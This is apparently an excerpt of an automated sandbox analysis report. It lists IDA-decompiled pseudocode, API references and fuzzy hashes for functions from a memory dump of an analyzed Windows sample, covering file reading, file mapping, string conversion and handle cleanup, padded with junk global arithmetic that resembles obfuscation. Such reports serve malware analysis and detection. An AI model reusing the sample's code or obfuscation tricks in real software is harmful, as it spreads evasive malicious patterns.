0x0042a354
0x00000000
0x0042a354
0x00000000
0x00000000
0x00000000
0x0042a0ab
0x0042a0ae
0x0042a2b2
0x0042a2b2
0x0042a3da
0x0042a3e2
0x0042a3e2
0x0042a0b6
0x0042a0b9
0x0042a0bc
0x0042a0c2
0x0042a0c4
0x0042a0c9
0x0042a0c9
0x0042a0ed
0x0042a0ef
0x0042a0f4
0x00000000
0x0042a0fa
0x0042a0fa
0x0042a10a
0x0042a10f
0x0042a113
0x0042a114
0x0042a117
0x0042a13b
0x0042a159
0x0042a170
0x0042a25c
0x0042a25c
0x0042a25f
0x0042a261
0x0042a264
0x0042a269
0x0042a26a
0x0042a26d
0x0042a26f
0x0042a272
0x0042a277
0x0042a278
0x00000000
0x0042a278
0x0042a189
0x0042a18a
0x0042a18f
0x00000000
0x00000000
0x0042a199
0x0042a1c8
0x0042a1d8
0x0042a1dd
0x0042a1e1
0x0042a1e2
0x0042a1e5
0x0042a206
0x0042a209
0x0042a223
0x0042a237
0x0042a239
0x0042a23b
0x0042a23c
0x0042a23d
0x0042a240
0x0042a246
0x0042a249
0x0042a242
0x0042a242
0x0042a243
0x0042a243
0x0042a25b
0x0042a25b
0x00000000
0x0042a20b
0x0042a20f
0x0042a215
0x0042a218
0x0042a21a
0x00000000
0x00000000
0x0042a21c
0x00000000
0x0042a21c
0x0042a209
0x0042a19e
0x0042a1bd
0x0042a1bd
0x00000000
0x0042a13d
0x0042a141
0x0042a146
0x0042a147
0x0042a14c
0x00000000
0x00000000
0x0042a152
0x00000000
0x0042a152
0x0042a13b
0x0042a0f4
0x0042a09d
0x0042a07a
0x0042a07d
0x0042a080
0x0042a080
0x0042a083
0x00000000
0x00000000
0x0042a085
0x0042a088
0x00000000
0x00000000
0x0042a08a
0x00000000
0x0042a08a
0x0042a092
0x00000000

APIs

LCMapStringW.KERNEL32(?,00000100,0042EB1C,00000101,?,?,0042EB20,00000038,0042B0F7,00000100,00000020,00000100,?,00000100,00000000,00000001), ref: 0042A04E
GetLastError.KERNEL32(?,00000100,0042EB1C,00000101,?,?,0042EB20,00000038,0042B0F7,00000100,00000020,00000100,?,00000100,00000000,00000001), ref: 0042A060
MultiByteToWideChar.KERNEL32(?,00000000,?,?,?,?,0042EB20,00000038,0042B0F7,00000100,00000020,00000100,?,00000100,00000000,00000001), ref: 0042A0E7
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,?,0042EB20,00000038,0042B0F7,00000100,00000020,00000100,?,00000100), ref: 0042A168
LCMapStringW.KERNEL32(?,?,?,00000000,?,?,?,?,0042EB20,00000038,0042B0F7,00000100,00000020,00000100,?,00000100), ref: 0042A182
LCMapStringW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,0042EB20,00000038,0042B0F7,00000100,00000020,00000100), ref: 0042A1BD

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: String$ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1775797328-0
Opcode ID: 2b94f16a34f692cd7b9fe16e6b65b5ac360a6ff1af6561d6a154df04674d9e0e
Instruction ID: 22c61c007a1cd5e713d35561b93f852cd486f7f3eb87d3477a9a149f4e723ca2
Opcode Fuzzy Hash: 2b94f16a34f692cd7b9fe16e6b65b5ac360a6ff1af6561d6a154df04674d9e0e
Instruction Fuzzy Hash: 86B18172A00129EFCF119FA5EC849EE7F75FF08354F54412AFD10A2260D73A8961DB6A

Uniqueness

Uniqueness Score: -1.00%

Function 0041DF40, Relevance: 16.6, APIs: 11, Instructions: 126
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041DF40(long _a4, long* _a8, CHAR* _a12) {
				long _t10;
				void* _t12;
				signed char _t20;
				void* _t27;
				long* _t31;
				signed char _t32;
				signed char _t35;
				signed int _t38;
				signed char _t41;
				signed char _t44;
				signed char _t46;
				void* _t49;
				void** _t55;

				_t55 = _a4;
				if(_t55 == 0) {
					L12:
					return 0;
				} else {
					_t31 = _a8;
					if(_t31 == 0) {
						goto L12;
					} else {
						 *_t55 = 0;
						 *_t31 = 0;
						_t49 = CreateFileA(_a12, 1, 1, 0, 3, 0, 0);
						if(_t49 == 0xffffffff) {
							L5:
							return 0;
						} else {
							_t10 = GetFileSize(_t49, 0);
							 *_t31 = _t10;
							if(_t10 != 0) {
								_t12 = HeapAlloc(GetProcessHeap(), 8, _t10);
								 *_t55 = _t12;
								if(_t12 != 0) {
									 *0x431f20 =  *0x431f20 ^ 0x00007dcf;
									if(ReadFile(_t49,  *_t55,  *_t31,  &_a4, 0) == 0 || _a4 !=  *_t31) {
										CloseHandle(_t49);
										HeapFree(GetProcessHeap(), 0,  *_t55);
										_t35 =  *0x431f1c; // 0x0
										_t20 = _t35 + 0x6c;
										 *0x431f24 = _t20;
										 *0x431f20 = _t35 & 0x000000ff | 0x00000020;
										 *0x431f28 = 0xff;
										 *_t55 = 0;
										 *_t31 = 0;
										_t44 =  *0x431f28; // 0x0
										_t32 =  *0x431f1c; // 0x0
										_t38 =  *0x431f20; // 0x0
										 *0x431f1c = _t32 | _t44 & 0x000000e4;
										 *0x431f20 = _t38 - ((_t20 + 0x0000000b & 0x00000018 | 0x000000c5) & 0x000000ff);
										return 0;
									} else {
										_t46 =  *0x431f1c; // 0x0
										_t41 =  *0x431f24; // 0x0
										 *0x431f28 = 0x22;
										 *0x431f24 = _t41 | _t46 & 0x000000e4;
										CloseHandle(_t49);
										_t27 = 1;
										return _t27;
									}
								} else {
									CloseHandle(_t49);
									return 0;
								}
							} else {
								CloseHandle(_t49);
								goto L5;
							}
						}
					}
				}
			}

0x0041df42
0x0041df48
0x0041e09d
0x0041e0a1
0x0041df4e
0x0041df4e
0x0041df54
0x00000000
0x0041df5a
0x0041df6b
0x0041df72
0x0041df7e
0x0041df83
0x0041df9b
0x0041dfa0
0x0041df85
0x0041df88
0x0041df90
0x0041df92
0x0041dfae
0x0041dfb6
0x0041dfb8
0x0041dfc8
0x0041dfe8
0x0041e024
0x0041e032
0x0041e038
0x0041e040
0x0041e042
0x0041e04f
0x0041e055
0x0041e05e
0x0041e064
0x0041e06a
0x0041e070
0x0041e076
0x0041e08d
0x0041e093
0x0041e09c
0x0041dff2
0x0041dff2
0x0041dff8
0x0041e004
0x0041e00d
0x0041e013
0x0041e020
0x0041e022
0x0041e022
0x0041dfba
0x0041dfbb
0x0041dfc7
0x0041dfc7
0x0041df94
0x0041df95
0x00000000
0x0041df95
0x0041df92
0x0041df83
0x0041df54

APIs

CreateFileA.KERNEL32(00000000,00000001,00000001,00000000,00000003,00000000,00000000,73BCF560,00000001,00000000,004123D8,?,?,?), ref: 0041DF78
GetFileSize.KERNEL32(00000000,00000000), ref: 0041DF88
CloseHandle.KERNEL32(00000000), ref: 0041DF95
GetProcessHeap.KERNEL32(00000008,00000000,00000000), ref: 0041DFAB
HeapAlloc.KERNEL32(00000000), ref: 0041DFAE
CloseHandle.KERNEL32(00000000), ref: 0041DFBB
ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 0041DFE0
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 0041E013
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 0041E024
GetProcessHeap.KERNEL32(00000000,00000000,?,?,00000000), ref: 0041E02F
HeapFree.KERNEL32(00000000,?,?,00000000), ref: 0041E032

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: CloseHandleHeap$File$Process$AllocCreateFreeReadSize
String ID:
API String ID: 851827180-0
Opcode ID: adf314821403f38e957a0c30873d2100d960f50d1c5354e890c84c1af74ffbb0
Instruction ID: 320bc4b8b43e9024765f8aa8d6100c9af0a6c021bff85da359c9690a91c444cc
Opcode Fuzzy Hash: adf314821403f38e957a0c30873d2100d960f50d1c5354e890c84c1af74ffbb0
Instruction Fuzzy Hash: 8341C0763042109FD7208F65EC85BB67BE8EB8A721F10143AE580C72A1C7B594478B2D

Uniqueness

Uniqueness Score: -1.00%

Function 0041AC50, Relevance: 16.6, APIs: 1, Strings: 10, Instructions: 90
stringCOMMON

Download Yara Rule

C-Code - Quality: 40%

			E0041AC50(void* __ebx, void* __ecx, void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				char _v1039;
				char _v1040;
				char _v1041;
				char _v1042;
				char _v1043;
				char _v1044;
				char _v1045;
				char _v1046;
				char _v1047;
				char _v1048;
				char _v1051;
				char _v1052;
				char _v1053;
				char _v1054;
				char _v1055;
				char _v1056;
				char _v1057;
				char _v1058;
				char _v1059;
				char _v1060;
				intOrPtr _t35;
				void* _t37;
				void* _t38;
				signed int _t46;
				void* _t47;
				void* _t50;
				void* _t59;
				void* _t60;
				void* _t65;
				intOrPtr* _t68;
				void* _t71;
				void* _t72;

				_t35 =  *0x4310d8; // 0xd0c2a9a8
				_v8 = _t35;
				_t72 = __ecx;
				_t37 = 0xa;
				_v1048 = 0x28;
				_v1047 = 4;
				_v1046 = 0xb7;
				_v1045 = 0x1c;
				_v1044 = 0xbc;
				_v1043 = 0xc7;
				_v1042 = 0xa2;
				_v1041 = 0x23;
				_v1040 = 0x93;
				_v1039 = 0x35;
				_v1060 = 0x6e;
				_v1059 = 0x26;
				_v1058 = 0x63;
				_v1057 = 0x2f;
				_v1056 = 0x60;
				_v1055 = 0x40;
				_v1054 = 0x65;
				_v1053 = 0x16;
				_v1052 = 0x1b;
				_v1051 = 0x11;
				_t38 = E0041AAF0(_t37);
				memset( &_v1040, 0, 0x100 << 2);
				 *0x431f14( &_v1040, _t38, _a4,  &_v1048, _t65, _t71);
				_push(lstrlenA( &_v1040));
				_push( &_v1040);
				_t59 = _t72;
				if(E0041BC30(_t43, _t59) != 0xffffffff) {
					_t68 = _t72 + 0x24;
					_push(_t68);
					_t60 = _t72;
					_t46 = E0041ABE0(__ebx, _t60);
					if(_t46 == 0) {
						_t46 = (_t46 & 0xffffff00 |  *_t68 == 0x000000fa) - 0x00000001 & 0x00000008;
					}
					_t47 = E00424873(_t46, _v8);
					return _t47;
				} else {
					asm("pushad");
					asm("popad");
					_t50 = 7;
					return E00424873(_t50, _v8);
				}
			}

0x0041ac5c
0x0041ac62
0x0041ac6e
0x0041ac79
0x0041ac7a
0x0041ac7f
0x0041ac84
0x0041ac89
0x0041ac8e
0x0041ac93
0x0041ac98
0x0041ac9d
0x0041aca2
0x0041aca7
0x0041acac
0x0041acb1
0x0041acb6
0x0041acbb
0x0041acc0
0x0041acc5
0x0041acca
0x0041accf
0x0041acd4
0x0041acd9
0x0041acde
0x0041acf0
0x0041acfc
0x0041ad10
0x0041ad15
0x0041ad17
0x0041ad20
0x0041ad3b
0x0041ad3e
0x0041ad40
0x0041ad46
0x0041ad48
0x0041ad54
0x0041ad54
0x0041ad5e
0x0041ad68
0x0041ad22
0x0041ad22
0x0041ad23
0x0041ad26
0x0041ad38
0x0041ad38

APIs

lstrlenA.KERNEL32(?), ref: 0041AD0A

Part of subcall function 0041BC30: WaitForSingleObject.KERNEL32(?,?), ref: 0041BCA3
Part of subcall function 0041BC30: GetOverlappedResult.KERNEL32(000000FF,?,00000001,00000000), ref: 0041BCB8

Strings

(, xrefs: 0041AC7A
#, xrefs: 0041AC9D
e, xrefs: 0041ACCA
`, xrefs: 0041ACC0
c, xrefs: 0041ACB6
/, xrefs: 0041ACBB
n, xrefs: 0041ACAC
5, xrefs: 0041ACA7
@, xrefs: 0041ACC5
&, xrefs: 0041ACB1

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: ObjectOverlappedResultSingleWaitlstrlen
String ID: #$&$($/$5$@$`$c$e$n
API String ID: 1203007601-276966957
Opcode ID: 54edac8fe0b33838c0850a3cdb9d90a7e137b01ec8b774181ae8ef49080e1582
Instruction ID: 619b51236ec3784dc0d7455a3fcf95f68fa24492e05410d477fe179a2df92e89
Opcode Fuzzy Hash: 54edac8fe0b33838c0850a3cdb9d90a7e137b01ec8b774181ae8ef49080e1582
Instruction Fuzzy Hash: EE31A37210C3C199D321DA28D80879BBFD59BD6328F044A6EF1D48A2D2D7B99648C3F7

Uniqueness

Uniqueness Score: -1.00%

Function 00415690, Relevance: 13.7, APIs: 9, Instructions: 167
fileCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00415690(void* __ebx, void* __edi, void* __esi) {
				intOrPtr _t39;
				signed int _t46;
				signed int _t47;
				signed int _t53;
				signed int _t57;
				signed char _t60;
				void* _t66;
				signed char _t70;
				void* _t76;
				intOrPtr _t78;
				signed char _t83;
				signed int _t89;
				intOrPtr* _t91;
				void* _t92;
				short _t111;
				char _t113;
				void* _t117;
				signed int _t120;
				unsigned int _t123;
				void* _t125;
				void* _t127;
				void* _t128;
				signed int _t132;
				void* _t134;
				signed int _t135;
				void* _t137;

				_t39 =  *0x4310d8; // 0xd0c2a9a8
				 *((intOrPtr*)(_t137 + 0x14c)) = _t39;
				_t117 = CreateFileA( *(_t137 + 0x154), 0x80000000, 1, 0, 4, 0x80, 0);
				 *(_t137 + 4) = _t117;
				if(_t117 == 0xffffffff) {
					L13:
					return E00424873(0,  *((intOrPtr*)(_t137 + 0x138)));
				} else {
					_t76 = CreateFileMappingA(_t117, 0, 2, 0, 0, 0);
					 *(_t137 + 0xc) = _t76;
					if(_t76 != 0) {
						_push(MapViewOfFile(_t76, 4, 0, 0, 0));
						_pop(_t127);
						_t128 = _t127;
						if(_t128 != 0) {
							_t46 =  *0x431e34; // 0x0
							_t47 = _t46 *  *0x431e28;
							 *0x431e2c = (_t47 * 0x6f >> 0x20) - 3;
							_t83 = _t47 * 0x0000006f | 0x0000001e;
							 *0x431e28 = _t83;
							_t53 = _t83;
							_t132 = _t53 *  *0x431e30 >> 0x20;
							_t120 =  *(_t128 + 0x64) * 0x44;
							 *0x431e34 = 0x1b;
							 *0x431e30 = _t53 *  *0x431e30 * 0x0000006f | 0x0000001e;
							if(_t120 > 0) {
								_t78 =  *((intOrPtr*)(_t137 + 0x150));
								_t134 = _t128 + _t132;
								_t123 = 0xf0f0f0f1 * (_t120 - 1) >> 0x20;
								_t125 = (_t123 >> 6) + 1;
								asm("pushad");
								asm("popad");
								do {
									_t66 = 0;
									_t91 = _t134;
									do {
										_t113 =  *_t91;
										_t91 = _t91 + 2;
										 *((char*)(_t137 + _t66 + 0x18)) = _t113;
										_t66 = _t66 + 1;
									} while (_t66 <= 0x44);
									_push(1);
									_push(1);
									_push(0);
									_push(_t137 + 0x24);
									_t92 = _t78;
									 *((char*)(_t137 + 0x6c)) = 0;
									E0040B300(_t92);
									_t134 = _t134 + 0x44;
									_t125 = _t125 - 1;
								} while (_t125 != 0);
								_t83 =  *0x431e28; // 0x0
								_t76 =  *(_t137 + 0x14);
							}
							_t57 =  *0x431e2c; // 0x0
							 *0x431e2c = (_t83 & 0x000000ff) + _t57 &  *0x431e34 + 0x00000076;
							CloseHandle( *(_t137 + 0x10));
							_t60 =  *0x431e30; // 0x0
							 *0x431e30 = _t60 ^ 0x0000005a;
							UnmapViewOfFile(_t128);
							_t111 =  *0x431e34; // 0x0
							 *0x431e28 = 0x47 - _t111;
							_t89 =  *0x431e2c; // 0x0
							 *0x431e2c = _t89 ^ 0x00006970;
							CloseHandle(_t76);
						} else {
							_t135 =  *0x431e2c; // 0x0
							 *0x431e2c = _t135 ^ 0x00007dcf;
							CloseHandle(_t76);
							_t70 =  *0x431e28; // 0x0
							 *0x431e30 = 0x47 - _t70;
							 *0x431e34 = 0x5b;
							 *0x431e2c = _t70 & 0x000000ff ^ 0x0000002f;
							CloseHandle(_t117);
						}
						goto L13;
					} else {
						CloseHandle(_t117);
						return E00424873(0,  *((intOrPtr*)(_t137 + 0x134)));
					}
				}
			}

0x00415696
0x004156a9
0x004156c3
0x004156c8
0x004156cc
0x0041588e
0x004158a3
0x004156d2
0x004156e4
0x004156e8
0x004156ec
0x0041571d
0x0041571e
0x0041571f
0x00415721
0x0041576a
0x0041576f
0x00415784
0x0041578c
0x0041578f
0x004157b5
0x004157bd
0x004157c5
0x004157c7
0x004157d0
0x004157d5
0x004157d7
0x004157de
0x004157e9
0x004157ed
0x004157ee
0x004157ef
0x004157f0
0x004157f0
0x004157f3
0x004157f4
0x004157f4
0x004157f6
0x004157f9
0x004157fd
0x004157fe
0x00415803
0x00415805
0x00415807
0x0041580d
0x0041580f
0x00415810
0x00415815
0x0041581a
0x0041581d
0x0041581d
0x00415820
0x00415826
0x00415826
0x0041582a
0x0041584b
0x00415851
0x00415853
0x0041585b
0x00415860
0x00415866
0x00415870
0x00415876
0x00415883
0x00415889
0x00415723
0x00415723
0x00415736
0x0041573c
0x0041573e
0x0041574e
0x00415754
0x0041575d
0x00415763
0x00415763
0x00000000
0x004156ee
0x004156ef
0x0041570b
0x0041570b
0x004156ec

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000004,00000080,00000000,?), ref: 004156BD
CreateFileMappingA.KERNEL32 ref: 004156DE
CloseHandle.KERNEL32(00000000), ref: 004156EF
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000,73BB81D0), ref: 00415717
CloseHandle.KERNEL32(00000000), ref: 0041573C
CloseHandle.KERNEL32(00000000), ref: 00415763

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: CloseFileHandle$Create$MappingView
String ID:
API String ID: 3943831188-0
Opcode ID: 152b5002e4cf6a03a8f416db067af6a509b100751acf06bbf44834895274f1e0
Instruction ID: cd17546701f444f06eff379f20192ce2d1b240008dd810f737b9ce28ef0092a2
Opcode Fuzzy Hash: 152b5002e4cf6a03a8f416db067af6a509b100751acf06bbf44834895274f1e0
Instruction Fuzzy Hash: 70511C752083909BD321AB39EC92BEBBFD59BCA310F14543AE9C4973B2C6B65405CB1D

Uniqueness

Uniqueness Score: -1.00%

Function 00414F49, Relevance: 13.6, APIs: 9, Instructions: 73
memorysynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00414F49(signed int __esi, intOrPtr _a19, void* _a20, void* _a52, void* _a60, void* _a68, char _a100, char _a124, char _a448, intOrPtr _a932, intOrPtr _a936, long _a944, intOrPtr _a952) {
				void* _t36;
				char _t38;
				char _t56;
				signed int _t61;
				void* _t65;
				void* _t67;

				_t61 = __esi;
				do {
					CloseHandle( *(_t67 + 0xa4 + _t61 * 4));
					_t56 =  *0x431c90; // 0x0
					_t61 = _t61 + 1;
					 *0x431c90 = _t56 + _a19;
				} while (_t61 < 0xa);
				if(_a952 != 0) {
					_t38 =  *0x431c90; // 0x0
					 *0x431c90 = _t38 + 0x78;
					WaitForSingleObject(_a20, 0xffffffff);
					 *0x431c90 = 0x40;
					CloseHandle(_a20);
				}
				 *0x431c90 = 0xea;
				WaitForSingleObject(_t65, 0xffffffff);
				CloseHandle(_t65);
				E00416790( &_a100);
				HeapFree(GetProcessHeap(), 0, _a52);
				HeapFree(GetProcessHeap(), 0, _a60);
				_a944 = 2;
				E00408AD0( &_a448);
				_a944 = 1;
				E00404590();
				_a944 = 0;
				E00416690( &_a100);
				_a944 = 0xffffffff;
				_t36 = E0041A8F0( &_a124);
				 *[fs:0x0] = _a936;
				return E00424873(_t36, _a932);
			}

0x00414f49
0x00414f50
0x00414f58
0x00414f5a
0x00414f66
0x00414f6a
0x00414f6a
0x00414f81
0x00414f83
0x00414f91
0x00414f96
0x00414f9d
0x00414fa6
0x00414fa6
0x00414fb1
0x00414fb7
0x00414fba
0x00414fc0
0x00414fdb
0x00414fe7
0x00414ff0
0x00414ff8
0x00415001
0x00415009
0x00415012
0x0041501a
0x00415023
0x0041502e
0x0041503d
0x00415057

APIs

CloseHandle.KERNEL32(?,?,00000001), ref: 00414F58
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00414F96
CloseHandle.KERNEL32(?), ref: 00414FA6
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00414FB7
CloseHandle.KERNEL32(00000000), ref: 00414FBA
GetProcessHeap.KERNEL32(00000000,?), ref: 00414FD2
HeapFree.KERNEL32(00000000), ref: 00414FDB
GetProcessHeap.KERNEL32(00000000,?), ref: 00414FE4
HeapFree.KERNEL32(00000000), ref: 00414FE7

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: Heap$CloseHandle$FreeObjectProcessSingleWait
String ID:
API String ID: 2579758194-0
Opcode ID: dc393601f2d234c11d9b5c0e08b06f072f179251102b911e7d153ffde9368fdb
Instruction ID: 713db44b872b7fb1c6ea9a88e7d0a335865e8f5c171250d504b1dc5c00fb41fc
Opcode Fuzzy Hash: dc393601f2d234c11d9b5c0e08b06f072f179251102b911e7d153ffde9368fdb
Instruction Fuzzy Hash: FA21A2351083809BC225EB69DC41BABBBE8ABD9314F441A1EE5E8433D1CB746805CB2B

Uniqueness

Uniqueness Score: -1.00%

Function 0042C8F5, Relevance: 12.2, APIs: 8, Instructions: 173
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 83%

			E0042C8F5(void* __ebx, void* __edi, int __esi, void* __eflags) {
				intOrPtr _t54;
				int _t56;
				char* _t57;
				int _t69;
				char* _t71;
				int _t72;
				int _t75;
				void* _t79;
				int _t83;
				short* _t84;
				void* _t99;
				intOrPtr _t100;

				_t96 = __esi;
				_push(0x38);
				_push(0x42f660);
				E0042664C(__ebx, __edi, __esi);
				_t54 =  *0x4310d8; // 0xd0c2a9a8
				 *((intOrPtr*)(_t99 - 0x1c)) = _t54;
				 *(_t99 - 0x34) = 0;
				 *(_t99 - 0x44) = 0;
				_t83 =  *( *(_t99 + 0x14));
				 *(_t99 - 0x40) = _t83;
				 *(_t99 - 0x3c) = 0;
				_t56 =  *(_t99 + 8);
				if(_t56 ==  *(_t99 + 0xc)) {
					_t84 =  *(_t99 - 0x48);
					goto L31;
				} else {
					_t87 = _t99 - 0x30;
					if(GetCPInfo(_t56, _t99 - 0x30) != 0 &&  *(_t99 - 0x30) == 1 && GetCPInfo( *(_t99 + 0xc), _t99 - 0x30) != 0 &&  *(_t99 - 0x30) == 1) {
						 *(_t99 - 0x3c) = 1;
					}
					if( *(_t99 - 0x3c) == 0) {
						_t96 =  *(_t99 - 0x38);
					} else {
						if(_t83 == 0xffffffff) {
							_t79 = E004263F0( *(_t99 + 0x10));
							_pop(_t87);
							_t96 = _t79 + 1;
							__eflags = _t96;
						} else {
							_t96 = _t83;
						}
						 *(_t99 - 0x38) = _t96;
					}
					if( *(_t99 - 0x3c) != 0) {
						L14:
						 *(_t99 - 4) = 0;
						E004254B0(_t96 + _t96 + 0x00000003 & 0xfffffffc, _t87);
						 *((intOrPtr*)(_t99 - 0x18)) = _t100;
						_t84 = _t100;
						 *(_t99 - 0x48) = _t84;
						E00425F70(_t84, 0, _t96 + _t96);
						 *(_t99 - 4) =  *(_t99 - 4) | 0xffffffff;
						_t113 = _t84;
						if(_t84 != 0) {
							L19:
							_t69 = MultiByteToWideChar( *(_t99 + 8), 1,  *(_t99 + 0x10),  *(_t99 - 0x40), _t84, _t96);
							__eflags = _t69;
							if(_t69 == 0) {
								L31:
								__eflags =  *(_t99 - 0x44);
								if(__eflags != 0) {
									_push(_t84);
									E004255BE(_t84, 0, _t96, __eflags);
								}
								_t57 =  *(_t99 - 0x34);
								goto L34;
							}
							__eflags =  *(_t99 + 0x18);
							if( *(_t99 + 0x18) == 0) {
								__eflags =  *(_t99 - 0x3c);
								if(__eflags != 0) {
									L25:
									_push(_t96);
									_push(1);
									_t71 = E0042AF1A(_t84, 0, _t96, __eflags);
									 *(_t99 - 0x34) = _t71;
									__eflags = _t71;
									if(_t71 != 0) {
										_t72 = WideCharToMultiByte( *(_t99 + 0xc), 0, _t84, _t96, _t71, _t96, 0, 0);
										__eflags = _t72;
										if(__eflags != 0) {
											__eflags =  *(_t99 - 0x40) - 0xffffffff;
											if( *(_t99 - 0x40) != 0xffffffff) {
												 *( *(_t99 + 0x14)) = _t72;
											}
										} else {
											_push( *(_t99 - 0x34));
											E004255BE(_t84, 0, _t96, __eflags);
											 *(_t99 - 0x34) = 0;
										}
									}
									goto L31;
								}
								_push(WideCharToMultiByte( *(_t99 + 0xc), 0, _t84, _t96, 0, 0, 0, 0));
								_pop(_t96);
								__eflags = _t96;
								if(__eflags == 0) {
									goto L31;
								}
								goto L25;
							}
							_t75 = WideCharToMultiByte( *(_t99 + 0xc), 0, _t84, _t96,  *(_t99 + 0x18),  *(_t99 + 0x1c), 0, 0);
							__eflags = _t75;
							if(_t75 != 0) {
								 *(_t99 - 0x34) =  *(_t99 + 0x18);
							}
							goto L31;
						} else {
							_push(_t96);
							_push(2);
							_t84 = E0042AF1A(_t84, 0, _t96, _t113);
							if(_t84 != 0) {
								 *(_t99 - 0x44) = 1;
								goto L19;
							}
							goto L17;
						}
					} else {
						_t96 = MultiByteToWideChar( *(_t99 + 8), 1,  *(_t99 + 0x10), _t83, 0, 0);
						 *(_t99 - 0x38) = _t96;
						if(_t96 == 0) {
							L17:
							_t57 = 0;
							L34:
							return E00426687(E00424873(_t57,  *((intOrPtr*)(_t99 - 0x1c))));
						}
						goto L14;
					}
				}
			}

0x0042c8f5
0x0042c8f5
0x0042c8f7
0x0042c8fc
0x0042c901
0x0042c906
0x0042c90b
0x0042c90e
0x0042c914
0x0042c916
0x0042c919
0x0042c91c
0x0042c922
0x0042ca9b
0x00000000
0x0042c928
0x0042c928
0x0042c937
0x0042c952
0x0042c952
0x0042c95c
0x0042c978
0x0042c95e
0x0042c961
0x0042c96a
0x0042c96f
0x0042c972
0x0042c972
0x0042c963
0x0042c964
0x0042c964
0x0042c973
0x0042c973
0x0042c97e
0x0042c99a
0x0042c99a
0x0042c9a6
0x0042c9ab
0x0042c9af
0x0042c9b0
0x0042c9b9
0x0042c9c1
0x0042c9de
0x0042c9e0
0x0042ca00
0x0042ca0d
0x0042ca13
0x0042ca15
0x0042ca9e
0x0042ca9e
0x0042caa1
0x0042caa3
0x0042caa4
0x0042caa9
0x0042caaa
0x00000000
0x0042caaa
0x0042ca1b
0x0042ca1e
0x0042ca40
0x0042ca43
0x0042ca5b
0x0042ca5b
0x0042ca5c
0x0042ca5e
0x0042ca65
0x0042ca68
0x0042ca6a
0x0042ca76
0x0042ca7c
0x0042ca7e
0x0042ca8e
0x0042ca92
0x0042ca97
0x0042ca97
